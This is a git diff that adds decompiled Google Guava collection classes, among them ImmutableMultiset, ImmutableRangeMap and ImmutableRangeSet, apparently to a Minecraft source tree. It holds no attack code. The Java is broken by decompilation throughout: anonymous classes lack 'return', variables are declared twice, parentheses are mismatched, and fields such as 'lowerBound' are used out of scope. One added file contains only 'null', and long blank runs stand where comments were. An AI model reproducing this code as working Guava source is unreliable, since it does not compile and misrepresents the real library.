+        return ImmutableMapKeySet.this;
+      }
+    };
+  }
+  
+
+  boolean isPartialView()
+  {
+    return true;
+  }
+  
+
+  @GwtIncompatible("serialization")
+  Object writeReplace() { return new KeySetSerializedForm(map); }
+  
+  @GwtIncompatible("serialization")
+  private static class KeySetSerializedForm<K> implements Serializable {
+    final ImmutableMap<K, ?> map;
+    private static final long serialVersionUID = 0L;
+    
+    KeySetSerializedForm(ImmutableMap<K, ?> map) { this.map = map; }
+    
+    Object readResolve() {
+      return map.keySet();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableMapValues.java b/src/minecraft/com/google/common/collect/ImmutableMapValues.java
new file mode 100644
index 0000000..3c3c8aa
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableMapValues.java
@@ -0,0 +1,92 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import java.io.Serializable;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+final class ImmutableMapValues<K, V>
+  extends ImmutableCollection<V>
+{
+  private final ImmutableMap<K, V> map;
+  
+  ImmutableMapValues(ImmutableMap<K, V> map)
+  {
+    this.map = map;
+  }
+  
+  public int size()
+  {
+    return map.size();
+  }
+  
+  public UnmodifiableIterator<V> iterator()
+  {
+    return Maps.valueIterator(map.entrySet().iterator());
+  }
+  
+  public boolean contains(@Nullable Object object)
+  {
+    return (object != null) && (Iterators.contains(iterator(), object));
+  }
+  
+  boolean isPartialView()
+  {
+    return true;
+  }
+  
+  ImmutableList<V> createAsList()
+  {
+    final ImmutableList<Map.Entry<K, V>> entryList = map.entrySet().asList();
+    new ImmutableAsList()
+    {
+      public V get(int index) {
+        return ((Map.Entry)entryList.get(index)).getValue();
+      }
+      
+      ImmutableCollection<V> delegateCollection()
+      {
+        return ImmutableMapValues.this;
+      }
+    };
+  }
+  
+
+  @GwtIncompatible("serialization")
+  Object writeReplace() { return new SerializedForm(map); }
+  
+  @GwtIncompatible("serialization")
+  private static class SerializedForm<V> implements Serializable {
+    final ImmutableMap<?, V> map;
+    private static final long serialVersionUID = 0L;
+    
+    SerializedForm(ImmutableMap<?, V> map) { this.map = map; }
+    
+    Object readResolve() {
+      return map.values();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableMultimap.java b/src/minecraft/com/google/common/collect/ImmutableMultimap.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableMultimap.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/google/common/collect/ImmutableMultiset.java b/src/minecraft/com/google/common/collect/ImmutableMultiset.java
new file mode 100644
index 0000000..0679a1a
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableMultiset.java
@@ -0,0 +1,602 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Preconditions;
+import com.google.common.primitives.Ints;
+import java.io.Serializable;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+public abstract class ImmutableMultiset<E>
+  extends ImmutableCollection<E>
+  implements Multiset<E>
+{
+  private static final ImmutableMultiset<Object> EMPTY = new RegularImmutableMultiset(ImmutableMap.of(), 0);
+  
+
+  private transient ImmutableSet<Multiset.Entry<E>> entrySet;
+  
+
+  public static <E> ImmutableMultiset<E> of()
+  {
+    return EMPTY;
+  }
+  
+
+
+
+
+
+
+  public static <E> ImmutableMultiset<E> of(E element)
+  {
+    return copyOfInternal(new Object[] { element });
+  }
+  
+
+
+
+
+
+
+  public static <E> ImmutableMultiset<E> of(E e1, E e2)
+  {
+    return copyOfInternal(new Object[] { e1, e2 });
+  }
+  
+
+
+
+
+
+
+  public static <E> ImmutableMultiset<E> of(E e1, E e2, E e3)
+  {
+    return copyOfInternal(new Object[] { e1, e2, e3 });
+  }
+  
+
+
+
+
+
+
+  public static <E> ImmutableMultiset<E> of(E e1, E e2, E e3, E e4)
+  {
+    return copyOfInternal(new Object[] { e1, e2, e3, e4 });
+  }
+  
+
+
+
+
+
+
+  public static <E> ImmutableMultiset<E> of(E e1, E e2, E e3, E e4, E e5)
+  {
+    return copyOfInternal(new Object[] { e1, e2, e3, e4, e5 });
+  }
+  
+
+
+
+
+
+
+
+  public static <E> ImmutableMultiset<E> of(E e1, E e2, E e3, E e4, E e5, E e6, E... others)
+  {
+    return new Builder().add(e1).add(e2).add(e3).add(e4).add(e5).add(e6).add(others).build();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableMultiset<E> copyOf(E[] elements)
+  {
+    return copyOf(Arrays.asList(elements));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableMultiset<E> copyOf(Iterable<? extends E> elements)
+  {
+    if ((elements instanceof ImmutableMultiset))
+    {
+      ImmutableMultiset<E> result = (ImmutableMultiset)elements;
+      if (!result.isPartialView()) {
+        return result;
+      }
+    }
+    
+    Multiset<? extends E> multiset = (elements instanceof Multiset) ? Multisets.cast(elements) : LinkedHashMultiset.create(elements);
+    
+
+
+    return copyOfInternal(multiset);
+  }
+  
+  private static <E> ImmutableMultiset<E> copyOfInternal(E... elements) {
+    return copyOf(Arrays.asList(elements));
+  }
+  
+  private static <E> ImmutableMultiset<E> copyOfInternal(Multiset<? extends E> multiset)
+  {
+    return copyFromEntries(multiset.entrySet());
+  }
+  
+  static <E> ImmutableMultiset<E> copyFromEntries(Collection<? extends Multiset.Entry<? extends E>> entries)
+  {
+    long size = 0L;
+    ImmutableMap.Builder<E, Integer> builder = ImmutableMap.builder();
+    for (Multiset.Entry<? extends E> entry : entries) {
+      int count = entry.getCount();
+      if (count > 0)
+      {
+
+        builder.put(entry.getElement(), Integer.valueOf(count));
+        size += count;
+      }
+    }
+    
+    if (size == 0L) {
+      return of();
+    }
+    return new RegularImmutableMultiset(builder.build(), Ints.saturatedCast(size));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableMultiset<E> copyOf(Iterator<? extends E> elements)
+  {
+    Multiset<E> multiset = LinkedHashMultiset.create();
+    Iterators.addAll(multiset, elements);
+    return copyOfInternal(multiset);
+  }
+  
+  ImmutableMultiset() {}
+  
+  public UnmodifiableIterator<E> iterator() {
+    final Iterator<Multiset.Entry<E>> entryIterator = entrySet().iterator();
+    new UnmodifiableIterator()
+    {
+      int remaining;
+      E element;
+      
+      public boolean hasNext() {
+        return (remaining > 0) || (entryIterator.hasNext());
+      }
+      
+      public E next()
+      {
+        if (remaining <= 0) {
+          Multiset.Entry<E> entry = (Multiset.Entry)entryIterator.next();
+          element = entry.getElement();
+          remaining = entry.getCount();
+        }
+        remaining -= 1;
+        return element;
+      }
+    };
+  }
+  
+  public boolean contains(@Nullable Object object)
+  {
+    return count(object) > 0;
+  }
+  
+  public boolean containsAll(Collection<?> targets)
+  {
+    return elementSet().containsAll(targets);
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final int add(E element, int occurrences)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final int remove(Object element, int occurrences)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final int setCount(E element, int count)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final boolean setCount(E element, int oldCount, int newCount)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  @GwtIncompatible("not present in emulated superclass")
+  int copyIntoArray(Object[] dst, int offset)
+  {
+    for (Multiset.Entry<E> entry : entrySet()) {
+      Arrays.fill(dst, offset, offset + entry.getCount(), entry.getElement());
+      offset += entry.getCount();
+    }
+    return offset;
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    return Multisets.equalsImpl(this, object);
+  }
+  
+  public int hashCode() {
+    return Sets.hashCodeImpl(entrySet());
+  }
+  
+  public String toString() {
+    return entrySet().toString();
+  }
+  
+
+
+  public ImmutableSet<Multiset.Entry<E>> entrySet()
+  {
+    ImmutableSet<Multiset.Entry<E>> es = entrySet;
+    return es == null ? (this.entrySet = createEntrySet()) : es;
+  }
+  
+
+  private final ImmutableSet<Multiset.Entry<E>> createEntrySet() { return isEmpty() ? ImmutableSet.of() : new EntrySet(null); }
+  
+  abstract Multiset.Entry<E> getEntry(int paramInt);
+  
+  private final class EntrySet extends ImmutableSet<Multiset.Entry<E>> { private static final long serialVersionUID = 0L;
+    
+    private EntrySet() {}
+    
+    boolean isPartialView() { return ImmutableMultiset.this.isPartialView(); }
+    
+
+    public UnmodifiableIterator<Multiset.Entry<E>> iterator()
+    {
+      return asList().iterator();
+    }
+    
+    ImmutableList<Multiset.Entry<E>> createAsList()
+    {
+      new ImmutableAsList()
+      {
+        public Multiset.Entry<E> get(int index) {
+          return getEntry(index);
+        }
+        
+        ImmutableCollection<Multiset.Entry<E>> delegateCollection()
+        {
+          return ImmutableMultiset.EntrySet.this;
+        }
+      };
+    }
+    
+    public int size()
+    {
+      return elementSet().size();
+    }
+    
+    public boolean contains(Object o)
+    {
+      if ((o instanceof Multiset.Entry)) {
+        Multiset.Entry<?> entry = (Multiset.Entry)o;
+        if (entry.getCount() <= 0) {
+          return false;
+        }
+        int count = count(entry.getElement());
+        return count == entry.getCount();
+      }
+      return false;
+    }
+    
+    public int hashCode()
+    {
+      return ImmutableMultiset.this.hashCode();
+    }
+    
+
+
+    Object writeReplace()
+    {
+      return new ImmutableMultiset.EntrySetSerializedForm(ImmutableMultiset.this);
+    }
+  }
+  
+  static class EntrySetSerializedForm<E> implements Serializable
+  {
+    final ImmutableMultiset<E> multiset;
+    
+    EntrySetSerializedForm(ImmutableMultiset<E> multiset)
+    {
+      this.multiset = multiset;
+    }
+    
+
+    Object readResolve() { return multiset.entrySet(); }
+  }
+  
+  private static class SerializedForm implements Serializable {
+    final Object[] elements;
+    final int[] counts;
+    private static final long serialVersionUID = 0L;
+    
+    SerializedForm(Multiset<?> multiset) {
+      int distinct = multiset.entrySet().size();
+      elements = new Object[distinct];
+      counts = new int[distinct];
+      int i = 0;
+      for (Multiset.Entry<?> entry : multiset.entrySet()) {
+        elements[i] = entry.getElement();
+        counts[i] = entry.getCount();
+        i++;
+      }
+    }
+    
+    Object readResolve() {
+      LinkedHashMultiset<Object> multiset = LinkedHashMultiset.create(elements.length);
+      
+      for (int i = 0; i < elements.length; i++) {
+        multiset.add(elements[i], counts[i]);
+      }
+      return ImmutableMultiset.copyOf(multiset);
+    }
+  }
+  
+
+
+
+  Object writeReplace()
+  {
+    return new SerializedForm(this);
+  }
+  
+
+
+
+  public static <E> Builder<E> builder()
+  {
+    return new Builder();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static class Builder<E>
+    extends ImmutableCollection.Builder<E>
+  {
+    final Multiset<E> contents;
+    
+
+
+
+
+
+
+
+
+
+    public Builder()
+    {
+      this(LinkedHashMultiset.create());
+    }
+    
+    Builder(Multiset<E> contents) {
+      this.contents = contents;
+    }
+    
+
+
+
+
+
+
+    public Builder<E> add(E element)
+    {
+      contents.add(Preconditions.checkNotNull(element));
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder<E> addCopies(E element, int occurrences)
+    {
+      contents.add(Preconditions.checkNotNull(element), occurrences);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+    public Builder<E> setCount(E element, int count)
+    {
+      contents.setCount(Preconditions.checkNotNull(element), count);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder<E> add(E... elements)
+    {
+      super.add(elements);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+    public Builder<E> addAll(Iterable<? extends E> elements)
+    {
+      if ((elements instanceof Multiset)) {
+        Multiset<? extends E> multiset = Multisets.cast(elements);
+        for (Multiset.Entry<? extends E> entry : multiset.entrySet()) {
+          addCopies(entry.getElement(), entry.getCount());
+        }
+      } else {
+        super.addAll(elements);
+      }
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder<E> addAll(Iterator<? extends E> elements)
+    {
+      super.addAll(elements);
+      return this;
+    }
+    
+
+
+
+    public ImmutableMultiset<E> build()
+    {
+      return ImmutableMultiset.copyOf(contents);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableRangeMap.java b/src/minecraft/com/google/common/collect/ImmutableRangeMap.java
new file mode 100644
index 0000000..079fdf7
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableRangeMap.java
@@ -0,0 +1,299 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Preconditions;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtIncompatible("NavigableMap")
+public class ImmutableRangeMap<K extends Comparable<?>, V>
+  implements RangeMap<K, V>
+{
+  private static final ImmutableRangeMap<Comparable<?>, Object> EMPTY = new ImmutableRangeMap(ImmutableList.of(), ImmutableList.of());
+  
+  private final ImmutableList<Range<K>> ranges;
+  
+  private final ImmutableList<V> values;
+  
+
+  public static <K extends Comparable<?>, V> ImmutableRangeMap<K, V> of()
+  {
+    return EMPTY;
+  }
+  
+
+
+
+  public static <K extends Comparable<?>, V> ImmutableRangeMap<K, V> of(Range<K> range, V value)
+  {
+    return new ImmutableRangeMap(ImmutableList.of(range), ImmutableList.of(value));
+  }
+  
+
+  public static <K extends Comparable<?>, V> ImmutableRangeMap<K, V> copyOf(RangeMap<K, ? extends V> rangeMap)
+  {
+    if ((rangeMap instanceof ImmutableRangeMap)) {
+      return (ImmutableRangeMap)rangeMap;
+    }
+    Map<Range<K>, ? extends V> map = rangeMap.asMapOfRanges();
+    ImmutableList.Builder<Range<K>> rangesBuilder = new ImmutableList.Builder(map.size());
+    ImmutableList.Builder<V> valuesBuilder = new ImmutableList.Builder(map.size());
+    for (Map.Entry<Range<K>, ? extends V> entry : map.entrySet()) {
+      rangesBuilder.add(entry.getKey());
+      valuesBuilder.add(entry.getValue());
+    }
+    return new ImmutableRangeMap(rangesBuilder.build(), valuesBuilder.build());
+  }
+  
+
+
+  public static <K extends Comparable<?>, V> Builder<K, V> builder()
+  {
+    return new Builder();
+  }
+  
+
+  public static final class Builder<K extends Comparable<?>, V>
+  {
+    private final RangeSet<K> keyRanges;
+    private final RangeMap<K, V> rangeMap;
+    
+    public Builder()
+    {
+      keyRanges = TreeRangeSet.create();
+      rangeMap = TreeRangeMap.create();
+    }
+    
+
+
+
+
+
+    public Builder<K, V> put(Range<K> range, V value)
+    {
+      Preconditions.checkNotNull(range);
+      Preconditions.checkNotNull(value);
+      Preconditions.checkArgument(!range.isEmpty(), "Range must not be empty, but was %s", new Object[] { range });
+      if (!keyRanges.complement().encloses(range))
+      {
+        for (Map.Entry<Range<K>, V> entry : rangeMap.asMapOfRanges().entrySet()) {
+          Range<K> key = (Range)entry.getKey();
+          if ((key.isConnected(range)) && (!key.intersection(range).isEmpty())) {
+            throw new IllegalArgumentException("Overlapping ranges: range " + range + " overlaps with entry " + entry);
+          }
+        }
+      }
+      
+      keyRanges.add(range);
+      rangeMap.put(range, value);
+      return this;
+    }
+    
+
+
+
+
+
+    public Builder<K, V> putAll(RangeMap<K, ? extends V> rangeMap)
+    {
+      for (Map.Entry<Range<K>, ? extends V> entry : rangeMap.asMapOfRanges().entrySet()) {
+        put((Range)entry.getKey(), entry.getValue());
+      }
+      return this;
+    }
+    
+
+
+
+    public ImmutableRangeMap<K, V> build()
+    {
+      Map<Range<K>, V> map = rangeMap.asMapOfRanges();
+      ImmutableList.Builder<Range<K>> rangesBuilder = new ImmutableList.Builder(map.size());
+      
+      ImmutableList.Builder<V> valuesBuilder = new ImmutableList.Builder(map.size());
+      for (Map.Entry<Range<K>, V> entry : map.entrySet()) {
+        rangesBuilder.add(entry.getKey());
+        valuesBuilder.add(entry.getValue());
+      }
+      return new ImmutableRangeMap(rangesBuilder.build(), valuesBuilder.build());
+    }
+  }
+  
+
+
+  ImmutableRangeMap(ImmutableList<Range<K>> ranges, ImmutableList<V> values)
+  {
+    this.ranges = ranges;
+    this.values = values;
+  }
+  
+  @Nullable
+  public V get(K key)
+  {
+    int index = SortedLists.binarySearch(ranges, Range.lowerBoundFn(), Cut.belowValue(key), SortedLists.KeyPresentBehavior.ANY_PRESENT, SortedLists.KeyAbsentBehavior.NEXT_LOWER);
+    
+    if (index == -1) {
+      return null;
+    }
+    Range<K> range = (Range)ranges.get(index);
+    return range.contains(key) ? values.get(index) : null;
+  }
+  
+
+  @Nullable
+  public Map.Entry<Range<K>, V> getEntry(K key)
+  {
+    int index = SortedLists.binarySearch(ranges, Range.lowerBoundFn(), Cut.belowValue(key), SortedLists.KeyPresentBehavior.ANY_PRESENT, SortedLists.KeyAbsentBehavior.NEXT_LOWER);
+    
+    if (index == -1) {
+      return null;
+    }
+    Range<K> range = (Range)ranges.get(index);
+    return range.contains(key) ? Maps.immutableEntry(range, values.get(index)) : null;
+  }
+  
+
+  public Range<K> span()
+  {
+    if (ranges.isEmpty()) {
+      throw new NoSuchElementException();
+    }
+    Range<K> firstRange = (Range)ranges.get(0);
+    Range<K> lastRange = (Range)ranges.get(ranges.size() - 1);
+    return Range.create(lowerBound, upperBound);
+  }
+  
+  public void put(Range<K> range, V value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public void putAll(RangeMap<K, V> rangeMap)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public void clear()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public void remove(Range<K> range)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public ImmutableMap<Range<K>, V> asMapOfRanges()
+  {
+    if (ranges.isEmpty()) {
+      return ImmutableMap.of();
+    }
+    RegularImmutableSortedSet<Range<K>> rangeSet = new RegularImmutableSortedSet(ranges, Range.RANGE_LEX_ORDERING);
+    
+    return new RegularImmutableSortedMap(rangeSet, values);
+  }
+  
+  public ImmutableRangeMap<K, V> subRangeMap(final Range<K> range)
+  {
+    if (((Range)Preconditions.checkNotNull(range)).isEmpty())
+      return of();
+    if ((ranges.isEmpty()) || (range.encloses(span()))) {
+      return this;
+    }
+    int lowerIndex = SortedLists.binarySearch(ranges, Range.upperBoundFn(), lowerBound, SortedLists.KeyPresentBehavior.FIRST_AFTER, SortedLists.KeyAbsentBehavior.NEXT_HIGHER);
+    
+
+    int upperIndex = SortedLists.binarySearch(ranges, Range.lowerBoundFn(), upperBound, SortedLists.KeyPresentBehavior.ANY_PRESENT, SortedLists.KeyAbsentBehavior.NEXT_HIGHER);
+    
+
+    if (lowerIndex >= upperIndex) {
+      return of();
+    }
+    final int off = lowerIndex;
+    final int len = upperIndex - lowerIndex;
+    ImmutableList<Range<K>> subRanges = new ImmutableList()
+    {
+      public int size() {
+        return len;
+      }
+      
+      public Range<K> get(int index)
+      {
+        Preconditions.checkElementIndex(index, len);
+        if ((index == 0) || (index == len - 1)) {
+          return ((Range)ranges.get(index + off)).intersection(range);
+        }
+        return (Range)ranges.get(index + off);
+      }
+      
+
+      boolean isPartialView()
+      {
+        return true;
+      }
+    };
+    final ImmutableRangeMap<K, V> outer = this;
+    new ImmutableRangeMap(subRanges, values.subList(lowerIndex, upperIndex))
+    {
+      public ImmutableRangeMap<K, V> subRangeMap(Range<K> subRange)
+      {
+        if (range.isConnected(subRange)) {
+          return outer.subRangeMap(subRange.intersection(range));
+        }
+        return ImmutableRangeMap.of();
+      }
+    };
+  }
+  
+
+  public int hashCode()
+  {
+    return asMapOfRanges().hashCode();
+  }
+  
+  public boolean equals(@Nullable Object o)
+  {
+    if ((o instanceof RangeMap)) {
+      RangeMap<?, ?> rangeMap = (RangeMap)o;
+      return asMapOfRanges().equals(rangeMap.asMapOfRanges());
+    }
+    return false;
+  }
+  
+  public String toString()
+  {
+    return asMapOfRanges().toString();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableRangeSet.java b/src/minecraft/com/google/common/collect/ImmutableRangeSet.java
new file mode 100644
index 0000000..e4a2620
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableRangeSet.java
@@ -0,0 +1,614 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Preconditions;
+import com.google.common.primitives.Ints;
+import java.io.Serializable;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class ImmutableRangeSet<C extends Comparable>
+  extends AbstractRangeSet<C>
+  implements Serializable
+{
+  private static final ImmutableRangeSet<Comparable<?>> EMPTY = new ImmutableRangeSet(ImmutableList.of());
+  
+
+  private static final ImmutableRangeSet<Comparable<?>> ALL = new ImmutableRangeSet(ImmutableList.of(Range.all()));
+  
+  private final transient ImmutableList<Range<C>> ranges;
+  
+  private transient ImmutableRangeSet<C> complement;
+  
+  public static <C extends Comparable> ImmutableRangeSet<C> of()
+  {
+    return EMPTY;
+  }
+  
+
+
+
+  static <C extends Comparable> ImmutableRangeSet<C> all()
+  {
+    return ALL;
+  }
+  
+
+
+
+  public static <C extends Comparable> ImmutableRangeSet<C> of(Range<C> range)
+  {
+    Preconditions.checkNotNull(range);
+    if (range.isEmpty())
+      return of();
+    if (range.equals(Range.all())) {
+      return all();
+    }
+    return new ImmutableRangeSet(ImmutableList.of(range));
+  }
+  
+
+
+
+  public static <C extends Comparable> ImmutableRangeSet<C> copyOf(RangeSet<C> rangeSet)
+  {
+    Preconditions.checkNotNull(rangeSet);
+    if (rangeSet.isEmpty())
+      return of();
+    if (rangeSet.encloses(Range.all())) {
+      return all();
+    }
+    
+    if ((rangeSet instanceof ImmutableRangeSet)) {
+      ImmutableRangeSet<C> immutableRangeSet = (ImmutableRangeSet)rangeSet;
+      if (!immutableRangeSet.isPartialView()) {
+        return immutableRangeSet;
+      }
+    }
+    return new ImmutableRangeSet(ImmutableList.copyOf(rangeSet.asRanges()));
+  }
+  
+  ImmutableRangeSet(ImmutableList<Range<C>> ranges) {
+    this.ranges = ranges;
+  }
+  
+  private ImmutableRangeSet(ImmutableList<Range<C>> ranges, ImmutableRangeSet<C> complement) {
+    this.ranges = ranges;
+    this.complement = complement;
+  }
+  
+
+
+  public boolean encloses(Range<C> otherRange)
+  {
+    int index = SortedLists.binarySearch(ranges, Range.lowerBoundFn(), lowerBound, Ordering.natural(), SortedLists.KeyPresentBehavior.ANY_PRESENT, SortedLists.KeyAbsentBehavior.NEXT_LOWER);
+    
+
+
+
+
+    return (index != -1) && (((Range)ranges.get(index)).encloses(otherRange));
+  }
+  
+  public Range<C> rangeContaining(C value)
+  {
+    int index = SortedLists.binarySearch(ranges, Range.lowerBoundFn(), Cut.belowValue(value), Ordering.natural(), SortedLists.KeyPresentBehavior.ANY_PRESENT, SortedLists.KeyAbsentBehavior.NEXT_LOWER);
+    
+
+
+
+
+    if (index != -1) {
+      Range<C> range = (Range)ranges.get(index);
+      return range.contains(value) ? range : null;
+    }
+    return null;
+  }
+  
+  public Range<C> span()
+  {
+    if (ranges.isEmpty()) {
+      throw new NoSuchElementException();
+    }
+    return Range.create(ranges.get(0)).lowerBound, ranges.get(ranges.size() - 1)).upperBound);
+  }
+  
+
+
+  public boolean isEmpty()
+  {
+    return ranges.isEmpty();
+  }
+  
+  public void add(Range<C> range)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public void addAll(RangeSet<C> other)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public void remove(Range<C> range)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public void removeAll(RangeSet<C> other)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public ImmutableSet<Range<C>> asRanges()
+  {
+    if (ranges.isEmpty()) {
+      return ImmutableSet.of();
+    }
+    return new RegularImmutableSortedSet(ranges, Range.RANGE_LEX_ORDERING);
+  }
+  
+
+  private final class ComplementRanges
+    extends ImmutableList<Range<C>>
+  {
+    private final boolean positiveBoundedBelow;
+    
+    private final boolean positiveBoundedAbove;
+    
+    private final int size;
+    
+    ComplementRanges()
+    {
+      positiveBoundedBelow = ((Range)ranges.get(0)).hasLowerBound();
+      positiveBoundedAbove = ((Range)Iterables.getLast(ranges)).hasUpperBound();
+      
+      int size = ranges.size() - 1;
+      if (positiveBoundedBelow) {
+        size++;
+      }
+      if (positiveBoundedAbove) {
+        size++;
+      }
+      this.size = size;
+    }
+    
+    public int size()
+    {
+      return size;
+    }
+    
+    public Range<C> get(int index)
+    {
+      Preconditions.checkElementIndex(index, size);
+      Cut<C> lowerBound;
+      Cut<C> lowerBound;
+      if (positiveBoundedBelow) {
+        lowerBound = index == 0 ? Cut.belowAll() : ranges.get(index - 1)).upperBound;
+      } else {
+        lowerBound = ranges.get(index)).upperBound;
+      }
+      Cut<C> upperBound;
+      Cut<C> upperBound;
+      if ((positiveBoundedAbove) && (index == size - 1)) {
+        upperBound = Cut.aboveAll();
+      } else {
+        upperBound = ranges.get(index + (positiveBoundedBelow ? 0 : 1))).lowerBound;
+      }
+      
+      return Range.create(lowerBound, upperBound);
+    }
+    
+    boolean isPartialView()
+    {
+      return true;
+    }
+  }
+  
+  public ImmutableRangeSet<C> complement()
+  {
+    ImmutableRangeSet<C> result = complement;
+    if (result != null)
+      return result;
+    if (ranges.isEmpty())
+      return this.complement = all();
+    if ((ranges.size() == 1) && (((Range)ranges.get(0)).equals(Range.all()))) {
+      return this.complement = of();
+    }
+    ImmutableList<Range<C>> complementRanges = new ComplementRanges();
+    result = this.complement = new ImmutableRangeSet(complementRanges, this);
+    
+    return result;
+  }
+  
+
+
+
+  private ImmutableList<Range<C>> intersectRanges(final Range<C> range)
+  {
+    if ((ranges.isEmpty()) || (range.isEmpty()))
+      return ImmutableList.of();
+    if (range.encloses(span())) {
+      return ranges;
+    }
+    int fromIndex;
+    final int fromIndex;
+    if (range.hasLowerBound()) {
+      fromIndex = SortedLists.binarySearch(ranges, Range.upperBoundFn(), lowerBound, SortedLists.KeyPresentBehavior.FIRST_AFTER, SortedLists.KeyAbsentBehavior.NEXT_HIGHER);
+    }
+    else
+    {
+      fromIndex = 0;
+    }
+    int toIndex;
+    int toIndex;
+    if (range.hasUpperBound()) {
+      toIndex = SortedLists.binarySearch(ranges, Range.lowerBoundFn(), upperBound, SortedLists.KeyPresentBehavior.FIRST_PRESENT, SortedLists.KeyAbsentBehavior.NEXT_HIGHER);
+    }
+    else
+    {
+      toIndex = ranges.size();
+    }
+    final int length = toIndex - fromIndex;
+    if (length == 0) {
+      return ImmutableList.of();
+    }
+    new ImmutableList()
+    {
+      public int size() {
+        return length;
+      }
+      
+      public Range<C> get(int index)
+      {
+        Preconditions.checkElementIndex(index, length);
+        if ((index == 0) || (index == length - 1)) {
+          return ((Range)ranges.get(index + fromIndex)).intersection(range);
+        }
+        return (Range)ranges.get(index + fromIndex);
+      }
+      
+
+      boolean isPartialView()
+      {
+        return true;
+      }
+    };
+  }
+  
+
+
+
+
+  public ImmutableRangeSet<C> subRangeSet(Range<C> range)
+  {
+    if (!isEmpty()) {
+      Range<C> span = span();
+      if (range.encloses(span))
+        return this;
+      if (range.isConnected(span)) {
+        return new ImmutableRangeSet(intersectRanges(range));
+      }
+    }
+    return of();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ImmutableSortedSet<C> asSet(DiscreteDomain<C> domain)
+  {
+    Preconditions.checkNotNull(domain);
+    if (isEmpty()) {
+      return ImmutableSortedSet.of();
+    }
+    Range<C> span = span().canonical(domain);
+    if (!span.hasLowerBound())
+    {
+
+      throw new IllegalArgumentException("Neither the DiscreteDomain nor this range set are bounded below");
+    }
+    if (!span.hasUpperBound()) {
+      try {
+        domain.maxValue();
+      } catch (NoSuchElementException e) {
+        throw new IllegalArgumentException("Neither the DiscreteDomain nor this range set are bounded above");
+      }
+    }
+    
+
+    return new AsSet(domain);
+  }
+  
+  private final class AsSet extends ImmutableSortedSet<C> {
+    private final DiscreteDomain<C> domain;
+    private transient Integer size;
+    
+    AsSet() { super();
+      this.domain = domain;
+    }
+    
+
+
+
+    public int size()
+    {
+      Integer result = size;
+      if (result == null) {
+        long total = 0L;
+        for (Range<C> range : ranges) {
+          total += ContiguousSet.create(range, domain).size();
+          if (total >= 2147483647L) {
+            break;
+          }
+        }
+        result = this.size = Integer.valueOf(Ints.saturatedCast(total));
+      }
+      return result.intValue();
+    }
+    
+    public UnmodifiableIterator<C> iterator()
+    {
+      new AbstractIterator() {
+        final Iterator<Range<C>> rangeItr = ranges.iterator();
+        Iterator<C> elemItr = Iterators.emptyIterator();
+        
+        protected C computeNext()
+        {
+          while (!elemItr.hasNext()) {
+            if (rangeItr.hasNext()) {
+              elemItr = ContiguousSet.create((Range)rangeItr.next(), domain).iterator();
+            } else {
+              return (Comparable)endOfData();
+            }
+          }
+          return (Comparable)elemItr.next();
+        }
+      };
+    }
+    
